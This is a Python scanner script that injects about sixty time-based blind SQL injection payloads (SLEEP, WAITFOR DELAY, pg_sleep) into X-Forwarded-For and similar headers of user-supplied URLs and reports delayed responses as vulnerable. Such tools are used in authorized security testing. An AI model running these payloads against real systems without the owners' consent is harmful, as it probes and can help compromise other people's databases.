Automated Tool for Testing Header Based Blind SQL Injection Modified

hbsqlimod.py

#!/usr/bin/python3

from ast import arg
from socket import timeout
from ssl import SSLError
from urllib.error import URLError
import httpx
import argparse
import rich
from rich.console import Console

# Rich Console
console = Console()

# Argument Parser
parser = argparse.ArgumentParser()

parser.add_argument('-l', '--list', help='To provide list of URLs as an input')
parser.add_argument('-u', '--url', help='To provide single URL as an input')
parser.add_argument('-v', '--verbose', help='Run on verbose mode', action='store_true')
parser.add_argument('--min-delay', type=float, default=25, help='Minimum delay threshold for vulnerability detection')
parser.add_argument('--max-delay', type=float, default=50, help='Maximum delay threshold for vulnerability detection')
parser.add_argument('--method', choices=['GET', 'POST', 'PUT', 'DELETE'], default='GET', help='HTTP method to use for requests')
parser.add_argument('--delay', type=float, default=0, help='Delay between requests (in seconds)')
parser.add_argument('--output', help='Save output to a file')

args = parser.parse_args()

# Predefined Headers
HEADERS = [
    "X-Forwarded-For",
    "X-Forwarded-Host",
    "X-Forwarded-Server",
    "X-Real-IP",
    "X-Client-IP",
    "X-Original-URL"
]

# Embedded Payloads
PAYLOADS = [
    "0'XOR(if(now()=sysdate()%2Csleep(30)%2C0))XOR'Z",
    "0'XOR(if(now()=sysdate(),sleep(30),0))XOR'Z",
    "1+++((SELECT+1+FROM+(SELECT+SLEEP(30))A))/*'XOR(((SELECT+1+FROM+(SELECT+SLEEP(30))A)))OR'|\"XOR(((SELECT+1+FROM+(SELECT+SLEEP(30))A)))OR\"*/+/*+60c97910-84e4-41d1-a2ef-cadb84887e89+*/",
    "(select(0)from(select(sleep(30)))v)/*'+(select(0)from(select(sleep(30)))v)+'\"+(select(0)from(select(sleep(30)))v)+\"*/",
    "1;SELECT IF((8303>8302),SLEEP(30),2356)#",
    "sleep(30)#",
    "(select * from (select(sleep(30)))a)",
    "1 or sleep(30)#",
    "' or sleep(30)#",
    "\" or sleep(30)#",
    "\" or sleep(30)=\"",
    "' or sleep(30)='",
    "1) or sleep(30)#",
    "\") or sleep(30)=\"",
    "') or sleep(30)='",
    "1)) or sleep(30)#",
    "\")) or sleep(30)=\"",
    "')) or sleep(30)='",
    ";waitfor delay '0:0:30'--",
    ");waitfor delay '0:0:30'--",
    "';waitfor delay '0:0:30'--",
    "\";waitfor delay '0:0:30'--",
    "');waitfor delay '0:0:30'--",
    "\");waitfor delay '0:0:30'--",
    "));waitfor delay '0:0:30'--",
    "'));waitfor delay '0:0:30'--",
    "\"));waitfor delay '0:0:30'--",
    "pg_sleep(30)--",
    "1 or pg_sleep(30)--",
    "' or pg_sleep(30)--",
    "\" or pg_sleep(30)--",
    "1) or pg_sleep(30)--",
    "\") or pg_sleep(30)--",
    "') or pg_sleep(30)--",
    "1)) or pg_sleep(30)--",
    "\")) or pg_sleep(30)--",
    "')) or pg_sleep(30)--",
    "AND (SELECT * FROM (SELECT(SLEEP(30)))bAKL) AND 'vRxe'='vRxe",
    "AND (SELECT * FROM (SELECT(SLEEP(30)))YjoC) AND '%'='",
    "AND (SELECT * FROM (SELECT(SLEEP(30)))nQIP)",
    "SLEEP(30)#",
    "SLEEP(30)--",
    "SLEEP(30)='",
    "SLEEP(30)=\"",
    "or SLEEP(30)",
    "or SLEEP(30)#",
    "or SLEEP(30)--",
    "or SLEEP(30)=\"",
    "or SLEEP(30)='",
    "waitfor delay '00:00:30'",
    "pg_SLEEP(30)",
    "pg_SLEEP(30)--",
    "pg_SLEEP(30)#",
    "or pg_SLEEP(30)",
    "AnD SLEEP(30)",
    "&&SLEEP(30)",
    "'&&SLEEP(30)&&'1",
    "ORDER BY SLEEP(30)",
    "(SELECT * FROM (SELECT(SLEEP(30)))ecMj)/*' or SLEEP(30) or '\" or SLEEP(30) or \"*/"
]

# Test for Blind SQLi
def test_url(url):
    for header in HEADERS:
        for payload in PAYLOADS:
            custom_headers = {header: payload}
            try:
                with httpx.Client(timeout=60) as client:
                    response = client.request(args.method, url, headers=custom_headers, follow_redirects=True)
                res_time = response.elapsed.total_seconds()

                console.print(f"🌐 [cyan]Testing URL:[/] {url}")
                console.print(f"💉 [cyan]Testing Header:[/] {header}: {payload}")
                console.print(f"🔢 [cyan]Status Code:[/] {response.status_code}")
                console.print(f"⏱️ [cyan]Response Time:[/] {res_time:.2f}s")

                if args.min_delay <= res_time <= args.max_delay:
                    console.print("[bold red]🐞 Vulnerable![/]\n")

                    if args.output:
                        with open(args.output, 'a') as f:
                            f.write(f"URL: {url} | Header: {header} | Response Time: {res_time:.2f}\n")

            except (SSLError, URLError, ConnectionResetError, httpx.RequestError) as e:
                console.print(f"[red]❌ Error:[/] {e}\n")
                pass

# Test from File
def test_from_file():
    with open(args.list, 'r') as file:
        urls = [line.strip() for line in file]
    for url in urls:
        test_url(url)

# Test from Single URL
def test_from_single_url():
    test_url(args.url)

# Execute Based on User Input
if args.url:
    test_from_single_url()
elif args.list:
    test_from_file()
else:
    console.print("[red]❌ Error:[/] One out of the two flags -u or -l is required.")